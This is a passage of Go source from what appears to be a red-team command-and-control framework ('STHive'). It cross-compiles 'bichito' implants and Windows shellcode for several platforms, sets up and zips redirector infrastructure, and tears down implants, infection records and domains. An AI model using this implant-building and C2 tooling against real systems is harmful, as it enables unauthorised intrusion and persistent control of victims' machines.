bichitoOx32.Env = append(bichitoOx32.Env,"GOOS=darwin")
bichitoOx32.Env = append(bichitoOx32.Env,"GOARCH=386")
bichitoOx32.Env = append(bichitoOx32.Env,"GOCACHE=/tmp/.cache")
bichitoOx32.Env = append(bichitoOx32.Env,"PATH=/usr/local/STHive/sources/osxcross/target/bin/:"+os.Getenv("PATH"))
bichitoOx32.Env = append(bichitoOx32.Env,"CGO_ENABLED=1")
bichitoOx32.Env = append(bichitoOx32.Env,"CC=o32-clang")
bichitoOx64 := exec.Command("/usr/local/STHive/sources/go/bin/go","build","--ldflags","-X main.parameters="+biCompilParamsOSX,"-tags",bModulesOSX,"-o",
implantFolder+"/bichitoOSXx64","bichito")
bichitoOx64.Env = os.Environ()
bichitoOx64.Env = append(bichitoOx64.Env,"GO111MODULE=off")
bichitoOx64.Env = append(bichitoOx64.Env,"GOPATH=/usr/local/STHive/sources/")
bichitoOx64.Env = append(bichitoOx64.Env,"GOOS=darwin")
bichitoOx64.Env = append(bichitoOx64.Env,"GOARCH=amd64")
bichitoOx64.Env = append(bichitoOx64.Env,"GOCACHE=/tmp/.cache")
bichitoOx64.Env = append(bichitoOx64.Env,"PATH=/usr/local/STHive/sources/osxcross/target/bin/:"+os.Getenv("PATH"))
bichitoOx64.Env = append(bichitoOx64.Env,"CGO_ENABLED=1")
bichitoOx64.Env = append(bichitoOx64.Env,"CC=o64-clang")
//Start to compile eveything one by one, to avoid Hive to over-load
var comperrRed,comperrLx32,comperrLx64,comperrWx32,comperrWx64,comperrOx32,comperrOx64 bytes.Buffer
var compoutRed,compoutLx32,compoutLx64,compoutWx32,compoutWx64,compoutOx32,compoutOx64 bytes.Buffer
redgen.Stderr = &comperrRed
bichitoLx32.Stderr = &comperrLx32
bichitoLx64.Stderr = &comperrLx64
bichitoWx32.Stderr = &comperrWx32
bichitoWx64.Stderr = &comperrWx64
bichitoOx32.Stderr = &comperrOx32
bichitoOx64.Stderr = &comperrOx64
redgen.Stdout = &compoutRed
bichitoLx32.Stdout = &compoutLx32
bichitoLx64.Stdout = &compoutLx64
bichitoWx32.Stdout = &compoutWx32
bichitoWx64.Stdout = &compoutWx64
bichitoOx32.Stdout = &compoutOx32
bichitoOx64.Stdout = &compoutOx64
redgen.Start()
redgen.Wait()
bichitoLx32.Start()
bichitoLx32.Wait()
bichitoLx64.Start()
bichitoLx64.Wait()
bichitoWx32.Start()
bichitoWx32.Wait()
bichitoWx64.Start()
bichitoWx64.Wait()
bichitoWx32_exe.Start()
bichitoWx32_exe.Wait()
bichitoWx32_shellcode_bin.Start()
bichitoWx32_shellcode_bin.Wait()
bichitoWx32_shellcode_hex.Start()
bichitoWx32_shellcode_hex.Wait()
bichitoWx64_exe.Start()
bichitoWx64_exe.Wait()
bichitoWx64_shellcode_bin.Start()
bichitoWx64_shellcode_bin.Wait()
bichitoWx64_shellcode_hex.Start()
bichitoWx64_shellcode_hex.Wait()
bichitoOx32.Start()
bichitoOx32.Wait()
bichitoOx64.Start()
bichitoOx64.Wait()
//Capture compiling errors
implantCompillingError := comperrRed.String()+comperrLx32.String()+comperrLx64.String()+compoutWx32.String()+compoutWx64.String()+compoutOx32.String()+compoutOx64.String()
//Debug:
implantCompillingOut := compoutRed.String()+compoutLx32.String()+compoutLx64.String()+compoutWx32.String()+compoutWx64.String()+compoutOx32.String()+compoutOx64.String()
fmt.Println("Implant CompErr Debug: "+implantCompillingError)
fmt.Println("Implant CompOut Debug: "+implantCompillingOut)
// Record the error when generating a new Implant Set
if (implantCompillingError != ""){
elog := "CompilingCommands(ImplantGeneration):"+implantCompillingError
return elog
}
// Generate target Infraestructure for Implant
if Offline == "No" {
infraResult := generateImplantInfra(implantFolder,coms,comsparams,redirectors)
if infraResult != "Done" {
fmt.Println("Implant Infra Debug: "+infraResult)
return infraResult
}
}
//Generate the Redirector Zip Folder for Future Downloads
var ziperrbuf bytes.Buffer
redZip := exec.Command("/bin/sh","-c", "zip -j "+implantFolder+"/redirector.zip "+implantFolder+"/red*")
redZip.Stderr = &errbuf
redZip.Start()
redZip.Wait()
redZipErr := ziperrbuf.String()
if (redZipErr != "") {
elog := fmt.Sprintf("%s%s","redZipCreation(ImplantGeneration):",redZip)
return elog
}
return ""
}
/*
Description: Functon to destroy Implant Infrastructure and DB Objects
Flow:
A.Start a routine to remove Infrastructure
B.Per existing bichito, remove its data from DB
C.Per redirector,remote its data from DB
D.Remove Implant folder
TO-DO, remove orphan bichitos (sending remove infection,logs, etc...)
*/
func removeImplant(name string) string{
var errorBuffer string
//Try to remove Infra, if it fails, don't remove Anything else, so there are track of non-removed Infra and Implant
implantFolder := "/usr/local/STHive/implants/"+name
resRemove := destroyImplantInfra(implantFolder)
if resRemove != "Done"{
errorBuffer = "-- Error on Destroying Implant Infrastructure: "+resRemove
return errorBuffer
}
//Check if there are any bichito attached and remove them
bichitosIds,err := getAllBidbyImplantNameDB(name)
if err != nil{
errorBuffer = "-- Error on Retrieving Implant Bichitos from DB: "+err.Error()
}else{
for _,bid := range bichitosIds {
//TO-DO:Send remove infection
errSet1 := rmJobsbyChidDB(bid)
errSet2 := rmLogsbyPidDB(bid)
//removeInfection(bid)
errSet3 := rmBibyBidDB(bid)
if (errSet1 != nil) {
errorBuffer = errorBuffer+"-- Error on Removing Bichitos Jobs from DB: "+errSet1.Error()
}
if (errSet2 != nil) {
errorBuffer = errorBuffer+"-- Error on Removing Bichitos Logs from DB: "+errSet2.Error()
}
if (errSet3 != nil) {
errorBuffer = errorBuffer+"-- Error on Removing Bichitos from DB: "+errSet3.Error()
}
}
}
//Check if there are any redirectors attached and remove them
redirectorsIds,err2 := getAllRidbyImplantNameDB(name)
if err2 != nil{
errorBuffer = errorBuffer+"-- Error Getting Redirectors from DB: "+err2.Error()
}else{
//remove reds, liberate domains,remove infra. TO-DO: Search domainId per implant itself! (for SaaS's)
for _,rid := range redirectorsIds {
dname,_ := getDomainbyRidDB(rid)
errSet1 := setUsedDomainDB(dname,"No")
errSet2 := rmLogsbyPidDB(rid)
errSet3 := rmRedbyRidDB(rid)
if (errSet1 != nil) {
errorBuffer = errorBuffer+"-- Error changing Domain status from DB: "+errSet1.Error()
}
if (errSet2 != nil) {
errorBuffer = errorBuffer+"-- Error removing redirector Logs from DB: "+errSet2.Error()
}
if (errSet3 != nil) {
errorBuffer = errorBuffer+"-- Error removing Redirectors from DB: "+errSet3.Error()
}
}
}
//Finally Remove Folder
errRmdb := rmImplantDB(name)